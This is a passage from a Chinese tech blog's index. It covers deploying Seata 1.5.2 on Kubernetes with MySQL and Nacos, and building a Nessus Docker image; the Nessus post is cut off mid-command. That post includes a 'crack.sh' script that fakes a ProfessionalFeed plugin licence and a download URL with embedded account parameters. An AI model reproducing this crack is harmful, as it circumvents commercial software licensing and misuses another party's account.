update</li><li>docker等运行的直接更新jar包即可</li></ol>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Jenkins </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>k8s 部署seata1.5.2(mysql+nacos+springboot)</title>
      <link href="/archives/kubernetes/sample/k8s-seata1.5.2.html"/>
      <url>/archives/kubernetes/sample/k8s-seata1.5.2.html</url>
      
        <content type="html"><![CDATA[<p>本文使用的是nacos+mysql的方式 大致流程:</p><ol><li>MySQL建立对应的库和表</li><li>nacos配置对应的配置,以便java等应用能从nacos获取配置</li><li>k8s部署对应的负载,负载启动以后从配置文件获取nacos地址,然后从nacos获取配置启动</li></ol><h2 id="MySQL-建立库和表"><a href="#MySQL-建立库和表" class="headerlink" title="MySQL 建立库和表"></a>MySQL 建立库和表</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"># 创建一个数据库</span><br><span class="line"><span class="keyword">CREATE</span> DATABASE `seata`;</span><br></pre></td></tr></table></figure><p>然后进入数据库中执行建表查询</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">use seata;</span><br></pre></td></tr></table></figure><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> IF <span class="keyword">NOT</span> <span class="keyword">EXISTS</span> `global_table`</span><br><span class="line">(</span><br><span class="line">    `xid`                       <span class="type">VARCHAR</span>(<span class="number">128</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `transaction_id`            <span class="type">BIGINT</span>,</span><br><span class="line">    `status`                    TINYINT      <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `application_id`            <span class="type">VARCHAR</span>(<span class="number">32</span>),</span><br><span class="line">    `transaction_service_group` <span class="type">VARCHAR</span>(<span class="number">32</span>),</span><br><span class="line">    `transaction_name`          <span class="type">VARCHAR</span>(<span class="number">128</span>),</span><br><span class="line">    `timeout`                   <span class="type">INT</span>,</span><br><span class="line">    `begin_time`                <span class="type">BIGINT</span>,</span><br><span class="line">    `application_data`          <span class="type">VARCHAR</span>(<span class="number">2000</span>),</span><br><span class="line">    `gmt_create`                DATETIME,</span><br><span class="line">    `gmt_modified`              DATETIME,</span><br><span class="line">    <span class="keyword">PRIMARY</span> KEY (`xid`),</span><br><span class="line">    KEY `idx_status_gmt_modified` (`status` , `gmt_modified`),</span><br><span class="line">    KEY `idx_transaction_id` (`transaction_id`)</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB</span><br><span class="line">  <span class="keyword">DEFAULT</span> CHARSET <span class="operator">=</span> utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- the table to store BranchSession data</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> IF <span class="keyword">NOT</span> <span class="keyword">EXISTS</span> `branch_table`</span><br><span class="line">(</span><br><span class="line">    `branch_id`         <span class="type">BIGINT</span>       <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `xid`               <span class="type">VARCHAR</span>(<span class="number">128</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `transaction_id`    <span class="type">BIGINT</span>,</span><br><span class="line">    `resource_group_id` <span class="type">VARCHAR</span>(<span class="number">32</span>),</span><br><span class="line">    `resource_id`       <span class="type">VARCHAR</span>(<span class="number">256</span>),</span><br><span class="line">    `branch_type`       <span class="type">VARCHAR</span>(<span class="number">8</span>),</span><br><span class="line">    `status`            TINYINT,</span><br><span class="line">    `client_id`         <span class="type">VARCHAR</span>(<span class="number">64</span>),</span><br><span class="line">    `application_data`  <span class="type">VARCHAR</span>(<span class="number">2000</span>),</span><br><span class="line">    `gmt_create`        DATETIME(<span class="number">6</span>),</span><br><span class="line">    `gmt_modified`      DATETIME(<span class="number">6</span>),</span><br><span class="line">    <span class="keyword">PRIMARY</span> KEY (`branch_id`),</span><br><span class="line">    KEY `idx_xid` (`xid`)</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB</span><br><span class="line">  <span class="keyword">DEFAULT</span> CHARSET <span class="operator">=</span> utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- the table to store lock data</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> IF <span class="keyword">NOT</span> <span class="keyword">EXISTS</span> `lock_table`</span><br><span class="line">(</span><br><span class="line">    `row_key`        <span class="type">VARCHAR</span>(<span class="number">128</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `xid`            <span class="type">VARCHAR</span>(<span class="number">128</span>),</span><br><span class="line">    `transaction_id` <span class="type">BIGINT</span>,</span><br><span class="line">    `branch_id`      <span class="type">BIGINT</span>       <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `resource_id`    <span class="type">VARCHAR</span>(<span class="number">256</span>),</span><br><span class="line">    `table_name`     <span class="type">VARCHAR</span>(<span class="number">32</span>),</span><br><span class="line">    `pk`             <span class="type">VARCHAR</span>(<span class="number">36</span>),</span><br><span class="line">    `status`         TINYINT      <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;0&#x27;</span> COMMENT <span class="string">&#x27;0:locked ,1:rollbacking&#x27;</span>,</span><br><span class="line">    `gmt_create`     DATETIME,</span><br><span class="line">    `gmt_modified`   DATETIME,</span><br><span class="line">    <span class="keyword">PRIMARY</span> KEY (`row_key`),</span><br><span class="line">    KEY `idx_status` (`status`),</span><br><span class="line">    KEY `idx_branch_id` (`branch_id`),</span><br><span class="line">    KEY `idx_xid` (`xid`)</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB</span><br><span class="line">  <span class="keyword">DEFAULT</span> CHARSET <span class="operator">=</span> utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> IF <span class="keyword">NOT</span> <span class="keyword">EXISTS</span> `distributed_lock`</span><br><span class="line">(</span><br><span class="line">    `lock_key`       <span class="type">CHAR</span>(<span class="number">20</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `lock_value`     <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span>,</span><br><span class="line">    `expire`         <span class="type">BIGINT</span>,</span><br><span class="line">    <span class="keyword">primary</span> key (`lock_key`)</span><br><span class="line">) ENGINE <span class="operator">=</span> InnoDB</span><br><span class="line">  <span class="keyword">DEFAULT</span> CHARSET <span class="operator">=</span> utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> `distributed_lock` (lock_key, lock_value, expire) <span class="keyword">VALUES</span> (<span class="string">&#x27;AsyncCommitting&#x27;</span>, <span class="string">&#x27; &#x27;</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> `distributed_lock` (lock_key, lock_value, expire) <span class="keyword">VALUES</span> (<span class="string">&#x27;RetryCommitting&#x27;</span>, <span class="string">&#x27; &#x27;</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> `distributed_lock` (lock_key, lock_value, expire) <span class="keyword">VALUES</span> (<span class="string">&#x27;RetryRollbacking&#x27;</span>, <span class="string">&#x27; &#x27;</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> `distributed_lock` (lock_key, lock_value, expire) <span class="keyword">VALUES</span> (<span class="string">&#x27;TxTimeoutCheck&#x27;</span>, <span class="string">&#x27; &#x27;</span>, <span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="配置nacos配置文件"><a href="#配置nacos配置文件" class="headerlink" title="配置nacos配置文件"></a>配置nacos配置文件</h2><p>在nacos对应的namespace中创建一个配置文件</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">seataServer.properties</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2951feec47caf39013ec9360a97923a1e4b93fecfff758c80c2037a2227f005e.jpg" alt="k8s-seata1.5.2-0"></p><p>内容如下</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#For details about configuration items, see https://seata.io/zh-cn/docs/user/configurations.html</span></span><br><span class="line"><span class="comment">#Transport configuration, for client and server</span></span><br><span class="line"><span class="string">transport.type=TCP</span></span><br><span class="line"><span class="string">transport.server=NIO</span></span><br><span class="line"><span class="string">transport.heartbeat=true</span></span><br><span class="line"><span class="string">transport.enableTmClientBatchSendRequest=false</span></span><br><span class="line"><span class="string">transport.enableRmClientBatchSendRequest=true</span></span><br><span class="line"><span class="string">transport.enableTcServerBatchSendResponse=false</span></span><br><span class="line"><span class="string">transport.rpcRmRequestTimeout=30000</span></span><br><span class="line"><span class="string">transport.rpcTmRequestTimeout=30000</span></span><br><span class="line"><span class="string">transport.rpcTcRequestTimeout=30000</span></span><br><span class="line"><span class="string">transport.threadFactory.bossThreadPrefix=NettyBoss</span></span><br><span class="line"><span class="string">transport.threadFactory.workerThreadPrefix=NettyServerNIOWorker</span></span><br><span class="line"><span class="string">transport.threadFactory.serverExecutorThreadPrefix=NettyServerBizHandler</span></span><br><span class="line"><span class="string">transport.threadFactory.shareBossWorker=false</span></span><br><span class="line"><span class="string">transport.threadFactory.clientSelectorThreadPrefix=NettyClientSelector</span></span><br><span class="line"><span class="string">transport.threadFactory.clientSelectorThreadSize=1</span></span><br><span class="line"><span class="string">transport.threadFactory.clientWorkerThreadPrefix=NettyClientWorkerThread</span></span><br><span class="line"><span class="string">transport.threadFactory.bossThreadSize=1</span></span><br><span class="line"><span class="string">transport.threadFactory.workerThreadSize=default</span></span><br><span class="line"><span class="string">transport.shutdown.wait=3</span></span><br><span class="line"><span class="string">transport.serialization=seata</span></span><br><span class="line"><span class="string">transport.compressor=none</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Transaction routing rules configuration, only for the client</span></span><br><span class="line"><span class="string">service.vgroupMapping.default_tx_group=default</span> <span class="comment">#这里需要和seata里面的对应</span></span><br><span class="line"><span class="comment">#If you use a registry, you can ignore it</span></span><br><span class="line"><span class="string">service.default.grouplist=seata.namespace.svc:8091</span> <span class="comment"># 这里填写k8s中seata对应的 服务名:端口 ,格式为 server名.namespace名.svc:端口</span></span><br><span class="line"><span class="string">service.enableDegrade=false</span></span><br><span class="line"><span class="string">service.disableGlobalTransaction=false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Transaction rule configuration, only for the client</span></span><br><span class="line"><span class="string">client.rm.asyncCommitBufferLimit=10000</span></span><br><span class="line"><span class="string">client.rm.lock.retryInterval=10</span></span><br><span class="line"><span class="string">client.rm.lock.retryTimes=30</span></span><br><span class="line"><span class="string">client.rm.lock.retryPolicyBranchRollbackOnConflict=true</span></span><br><span class="line"><span class="string">client.rm.reportRetryCount=5</span></span><br><span class="line"><span class="string">client.rm.tableMetaCheckEnable=true</span></span><br><span class="line"><span class="string">client.rm.tableMetaCheckerInterval=60000</span></span><br><span class="line"><span class="string">client.rm.sqlParserType=druid</span></span><br><span class="line"><span class="string">client.rm.reportSuccessEnable=false</span></span><br><span class="line"><span class="string">client.rm.sagaBranchRegisterEnable=false</span></span><br><span class="line"><span class="string">client.rm.sagaJsonParser=fastjson</span></span><br><span class="line"><span class="string">client.rm.tccActionInterceptorOrder=-2147482648</span></span><br><span class="line"><span class="string">client.tm.commitRetryCount=5</span></span><br><span class="line"><span class="string">client.tm.rollbackRetryCount=5</span></span><br><span class="line"><span class="string">client.tm.defaultGlobalTransactionTimeout=60000</span></span><br><span class="line"><span class="string">client.tm.degradeCheck=false</span></span><br><span class="line"><span class="string">client.tm.degradeCheckAllowTimes=10</span></span><br><span class="line"><span class="string">client.tm.degradeCheckPeriod=2000</span></span><br><span class="line"><span class="string">client.tm.interceptorOrder=-2147482648</span></span><br><span class="line"><span class="string">client.undo.dataValidation=true</span></span><br><span class="line"><span class="string">client.undo.logSerialization=jackson</span></span><br><span class="line"><span class="string">client.undo.onlyCareUpdateColumns=true</span></span><br><span class="line"><span class="string">server.undo.logSaveDays=7</span></span><br><span class="line"><span class="string">server.undo.logDeletePeriod=86400000</span></span><br><span class="line"><span class="string">client.undo.logTable=undo_log</span></span><br><span class="line"><span class="string">client.undo.compress.enable=true</span></span><br><span class="line"><span class="string">client.undo.compress.type=zip</span></span><br><span class="line"><span class="string">client.undo.compress.threshold=64k</span></span><br><span class="line"><span class="comment">#For TCC transaction mode</span></span><br><span class="line"><span class="string">tcc.fence.logTableName=tcc_fence_log</span></span><br><span class="line"><span class="string">tcc.fence.cleanPeriod=1h</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Log rule configuration, for client and server</span></span><br><span class="line"><span class="string">log.exceptionRate=100</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Transaction storage configuration, only for the server. The file, DB, and redis configuration values are optional.</span></span><br><span class="line"><span class="string">store.mode=db</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#These configurations are required if the `store mode` is `db`. If `store.mode,store.lock.mode,store.session.mode` are not equal to `db`, you can remove the configuration block.</span></span><br><span class="line"><span class="string">store.db.datasource=druid</span></span><br><span class="line"><span class="string">store.db.dbType=mysql</span></span><br><span class="line"><span class="string">store.db.driverClassName=com.mysql.cj.jdbc.Driver</span></span><br><span class="line"><span class="string">store.db.url=jdbc:mysql://MySQL地址:端口默认3306/seata?serverTimezone=Asia/Shanghai&amp;useSSL=false&amp;useUnicode=true&amp;characterEncoding=utf8&amp;autoReconnect=true&amp;failOverReadOnly=false&amp;userAffectedRows=true</span></span><br><span class="line"><span class="string">store.db.user=root</span> <span class="comment">#数据库用户名</span></span><br><span class="line"><span class="string">store.db.password=*******</span> <span class="comment">#数据库密码</span></span><br><span class="line"><span class="string">store.db.minConn=5</span></span><br><span class="line"><span class="string">store.db.maxConn=30</span></span><br><span class="line"><span class="string">store.db.globalTable=global_table</span></span><br><span class="line"><span class="string">store.db.branchTable=branch_table</span></span><br><span class="line"><span class="string">store.db.distributedLockTable=distributed_lock</span></span><br><span class="line"><span class="string">store.db.queryLimit=100</span></span><br><span class="line"><span class="string">store.db.lockTable=lock_table</span></span><br><span class="line"><span class="string">store.db.maxWait=5000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Transaction rule configuration, only for the server</span></span><br><span class="line"><span class="string">server.recovery.committingRetryPeriod=1000</span></span><br><span class="line"><span class="string">server.recovery.asynCommittingRetryPeriod=1000</span></span><br><span class="line"><span class="string">server.recovery.rollbackingRetryPeriod=1000</span></span><br><span class="line"><span class="string">server.recovery.timeoutRetryPeriod=1000</span></span><br><span class="line"><span class="string">server.maxCommitRetryTimeout=-1</span></span><br><span class="line"><span class="string">server.maxRollbackRetryTimeout=-1</span></span><br><span class="line"><span class="string">server.rollbackRetryTimeoutUnlockEnable=false</span></span><br><span class="line"><span class="string">server.distributedLockExpireTime=10000</span></span><br><span class="line"><span class="string">server.xaerNotaRetryTimeout=60000</span></span><br><span class="line"><span class="string">server.session.branchAsyncQueueSize=5000</span></span><br><span class="line"><span class="string">server.session.enableBranchAsyncRemove=false</span></span><br><span class="line"><span class="string">server.enableParallelRequestHandle=false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Metrics configuration, only for the server</span></span><br><span class="line"><span class="string">metrics.enabled=false</span></span><br><span class="line"><span class="string">metrics.registryType=compact</span></span><br><span class="line"><span class="string">metrics.exporterList=prometheus</span></span><br><span class="line"><span class="string">metrics.exporterPrometheusPort=9898</span></span><br></pre></td></tr></table></figure><h2 id="k8s创建工作负载"><a href="#k8s创建工作负载" class="headerlink" title="k8s创建工作负载"></a>k8s创建工作负载</h2><p>seata 1.5.2 部署 yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">seata</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">seata</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">8091</span></span><br><span class="line">      <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">seata</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConfigMap</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">seata-config</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">application.yml:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    server:</span></span><br><span class="line"><span class="string">      port: 7091</span></span><br><span class="line"><span class="string">    spring:</span></span><br><span class="line"><span class="string">      application:</span></span><br><span class="line"><span class="string">        name: seata-server #注册到nacos时的服务名</span></span><br><span class="line"><span class="string">    # 日志配置</span></span><br><span class="line"><span class="string">    logging:</span></span><br><span class="line"><span class="string">      config: classpath:logback-spring.xml</span></span><br><span class="line"><span class="string">      file:</span></span><br><span class="line"><span class="string">        path: /root/logs/seata</span></span><br><span class="line"><span class="string">    # 新增加的console控制台，</span></span><br><span class="line"><span class="string">    # 可通过访问http://localhost:7091进行登录，账号如下seata/seata</span></span><br><span class="line"><span class="string">    console:</span></span><br><span class="line"><span class="string">      user: </span></span><br><span class="line"><span class="string">        username: seata</span></span><br><span class="line"><span class="string">        password: seata</span></span><br><span class="line"><span class="string">    seata:</span></span><br><span class="line"><span class="string">      # Seata接入Nacos配置中心</span></span><br><span class="line"><span class="string">      config:</span></span><br><span class="line"><span class="string">        # support: file, nacos, consul, apollo, zk, etcd3</span></span><br><span class="line"><span class="string">        type: nacos</span></span><br><span class="line"><span class="string">        nacos:</span></span><br><span class="line"><span class="string">          server-addr: nacos.default.svc:8848 #改成对应的地址</span></span><br><span class="line"><span class="string">          namespace: default    #改成对应的空间</span></span><br><span class="line"><span class="string">          group: DEFAULT_GROUP </span></span><br><span class="line"><span class="string">          username: nacos #对应的用户名</span></span><br><span class="line"><span class="string">          password: nacos #nacos密码</span></span><br><span class="line"><span class="string">          # 该data-id需要在nacos中进行配置</span></span><br><span class="line"><span class="string">          data-id: seataServer.properties #nacos中配置文件名</span></span><br><span class="line"><span class="string">      # Seata接入Nacos服务注册中心</span></span><br><span class="line"><span class="string">      registry:</span></span><br><span class="line"><span class="string">        # support: file, nacos, eureka, redis, zk, consul, etcd3, sofa</span></span><br><span class="line"><span class="string">        type: nacos</span></span><br><span class="line"><span class="string">        nacos:</span></span><br><span class="line"><span class="string">          application: seata-server</span></span><br><span class="line"><span class="string">          server-addr: nacos.default.svc:8848 #改成对应的地址</span></span><br><span class="line"><span class="string">          group: DEFAULT_GROUP</span></span><br><span class="line"><span class="string">          namespace: default #改成对应的空间</span></span><br><span class="line"><span class="string">          cluster: default #这里需要和nacos中的一致</span></span><br><span class="line"><span class="string">          username: nacos</span></span><br><span class="line"><span class="string">          password: nacos #nacos密码</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="attr">security:</span></span><br><span class="line">        <span class="attr">secretKey:</span> <span class="string">SeataSecretKey0c382ef121d778043159209298fd40bf3850a017</span></span><br><span class="line">        <span class="attr">tokenValidityInMilliseconds:</span> <span class="number">1800000</span></span><br><span class="line">        <span class="attr">ignore:</span></span><br><span class="line">          <span class="attr">urls:</span> <span class="string">/,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/api/v1/auth/login</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">seata</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">seata</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app.kubernetes.io/name:</span> <span class="string">seata</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/name:</span> <span class="string">seata</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">seata</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">docker.io/seataio/seata-server:1.5.2</span></span><br><span class="line">          <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">SEATA_PORT</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&#x27;8091&#x27;</span></span><br><span class="line">          <span class="attr">ports:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">              <span class="attr">containerPort:</span> <span class="number">8091</span></span><br><span class="line">              <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">          <span class="attr">volumeMounts:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/seata-server/resources/application.yml</span></span><br><span class="line">              <span class="attr">name:</span> <span class="string">seata-config</span></span><br><span class="line">              <span class="attr">subPath:</span> <span class="string">application.yml</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">configMap:</span></span><br><span class="line">            <span class="attr">defaultMode:</span> <span class="number">420</span></span><br><span class="line">            <span class="attr">items:</span></span><br><span class="line">              <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">application.yml</span></span><br><span class="line">                <span class="attr">path:</span> <span class="string">application.yml</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">seata-config</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">seata-config</span></span><br></pre></td></tr></table></figure><p>如图说明启动成功</p><p><img src="https://images.hao.kim/uploads/2024/12/9c9db95255047fcc5d335153116d39b434ee458d5050e09fa17ac2e6204e61a9.jpg" alt="k8s-seata1.5.2-1"></p><p>查看服务地址</p><p><img src="https://images.hao.kim/uploads/2024/12/78fb1ba4cfa14c3316c0eafada203bb68e18bc8782c5527527c9ae6676ca925c.jpg" alt="k8s-seata1.5.2-2"></p><p>使用默认的用户名密码 <code>seata/seata</code>登陆</p><p><img src="https://images.hao.kim/uploads/2024/12/01bf20c015e3382b2aa324315bfd05a5e985315757bac46e6f31137056019895.jpg" alt="k8s-seata1.5.2-3"><br><img src="https://images.hao.kim/uploads/2024/12/d1456e67677a0a768cdebe4a122d30de341cb7403a449b66d4647d7b5c17d56a.jpg" alt="k8s-seata1.5.2-4"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> sample </category>
          
      </categories>
      
      
        <tags>
            
            <tag> seata </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建Nessus的Docker镜像 / 一键部署Nessus</title>
      <link href="/archives/docker/Nessus-images.html"/>
      <url>/archives/docker/Nessus-images.html</url>
      
        <content type="html"><![CDATA[<p>Nessus支持很多种环境, docker vm 主机 aws等等, 这里主要介绍两种:</p><ul><li>自己构建docker镜像, 也可以使用官网的,</li><li>使用一键脚本, <code>文章末尾提供一键脚本</code></li></ul><blockquote><p>参考: <a href="https://www.iculture.cc/software/pig=25546">https://www.iculture.cc/software/pig=25546</a></p></blockquote><p>官方提供<code>docker</code>版本的<code>Nessus</code>镜像,但是没有插件 <a href="https://docs.tenable.com/nessus/Content/DeployNessusDocker.htm">https://docs.tenable.com/nessus/Content/DeployNessusDocker.htm</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker pull tenableofficial/nessus</span><br></pre></td></tr></table></figure><p>所以自己把插件添加进去, 在docker容器启动以后,运行下crack.sh, 就可以使用插件了</p><h4 id="Nessus-下载地址"><a href="#Nessus-下载地址" class="headerlink" title="Nessus 下载地址"></a>Nessus 下载地址</h4><p><a href="https://www.tenable.com/downloads/nessus">https://www.tenable.com/downloads/nessus</a></p><h4 id="扫描漏洞模块下载地址"><a href="#扫描漏洞模块下载地址" class="headerlink" title="扫描漏洞模块下载地址"></a>扫描漏洞模块下载地址</h4><p><a href="https://plugins.nessus.org/v2/nessus.php?f=all-2.0.tar.gz&u=4e2abfd83a40e2012ebf6537ade2f207&p=29a34e24fc12d3f5fdfbb1ae948972c6">https://plugins.nessus.org/v2/nessus.php?f=all-2.0.tar.gz&amp;u=4e2abfd83a40e2012ebf6537ade2f207&amp;p=29a34e24fc12d3f5fdfbb1ae948972c6</a></p><h4 id="镜像制作步骤"><a href="#镜像制作步骤" class="headerlink" title="镜像制作步骤"></a>镜像制作步骤</h4><ol><li>拉取debian镜像,添加文件, 安装nessus</li><li>打包上传docker hub</li><li>使用</li><li>删除</li></ol><h4 id="1-拉取Debian镜像-并添加文件-安装nessus"><a href="#1-拉取Debian镜像-并添加文件-安装nessus" class="headerlink" title="1. 拉取Debian镜像,并添加文件, 安装nessus"></a>1. 拉取Debian镜像,并添加文件, 安装nessus</h4><h5 id="拉取debian镜像"><a href="#拉取debian镜像" class="headerlink" title="拉取debian镜像"></a>拉取debian镜像</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker -d run -it --name nessus-init  -p 8834:8834 debian bash</span><br></pre></td></tr></table></figure><h5 id="添加文件"><a href="#添加文件" class="headerlink" title="添加文件"></a>添加文件</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 这里的文件名根据实际情况修改</span></span><br><span class="line">docker <span class="built_in">cp</span> Nessus-10.5.0-debian10_amd64.deb nessus-init:/opt/</span><br><span class="line">docker <span class="built_in">cp</span> all-2.0.tar.gz nessus-init:/opt/</span><br><span class="line">docker <span class="built_in">cp</span> crack.sh nessus-init:/opt/</span><br></pre></td></tr></table></figure><p>crack.sh 内容</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">/etc/init.d/nessusd stop</span><br><span class="line">/opt/nessus/sbin/nessuscli update /opt/all-2.0.tar.gz</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> &gt;&gt; /opt/nessus/var/nessus/plugin_feed_info.inc &lt;&lt;<span class="string">&quot;EOF&quot;</span></span><br><span class="line">PLUGIN_SET = <span class="string">&quot;202303110605&quot;</span>;</span><br><span class="line">PLUGIN_FEED = <span class="string">&quot;ProfessionalFeed (Direct)&quot;</span>;</span><br><span class="line">PLUGIN_FEED_TRANSPORT = <span class="string">&quot;Tenable Network Security Lightning&quot;</span>;</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure><blockquote><p><code>参考 https://www.iculture.cc/software/pig=25546</code></p></blockquote><p>我省略了PLUGIN_SET获取过程, 直接手工指定</p><h5 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dpkg -i Nessus-10.5.0-debian10_amd64.deb</span><br></pre></td></tr></table></figure><p>安装好以后,访问对应IP的<code>8834</code>端口进行安装操作</p><h4 id="2-打包镜像上传"><a href="#2-打包镜像上传" class="headerlink" title="2. 打包镜像上传"></a>2. 打包镜像上传</h4><p>有人会问为什么这里不先运行破解crack.sh后再打包, 因为权限问题! docker 无法保存使用 <code>chattr +i</code> 修改了权限的文件,所以选择在容器运行阶段进行解压和权限设置</p><h5 id="打包"><a href="#打包" class="headerlink" title="打包"></a>打包</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker commit nessus-init dockerhub用户名/仓库名:tag名</span><br><span class="line"></span><br><span class="line"><span class="comment">#登陆,已登录过可忽略</span></span><br><span class="line">docker login</span><br><span class="line">    username:</span><br><span class="line">    password:</span><br><span class="line"></span><br><span class="line"><span class="comment">#上传,使用上面coomit处创建的</span></span><br><span class="line">docker push dockerhub用户名/仓库名:tag名</span><br></pre></td></tr></table></figure><h4 id="3-使用"><a href="#3-使用" class="headerlink" title="3. 使用"></a>3. 使用</h4><p>我们使用 <code>--cap-add LINUX_IMMUTABLE</code> 来进行权限设置</p><h5 id="拉取镜像"><a href="#拉取镜像" class="headerlink" title="拉取镜像"></a>拉取镜像</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -d -it --name nessus --cap-add LINUX_IMMUTABLE -p 8834:8834  k9scc/nessus:v202303110605 bash</span><br><span 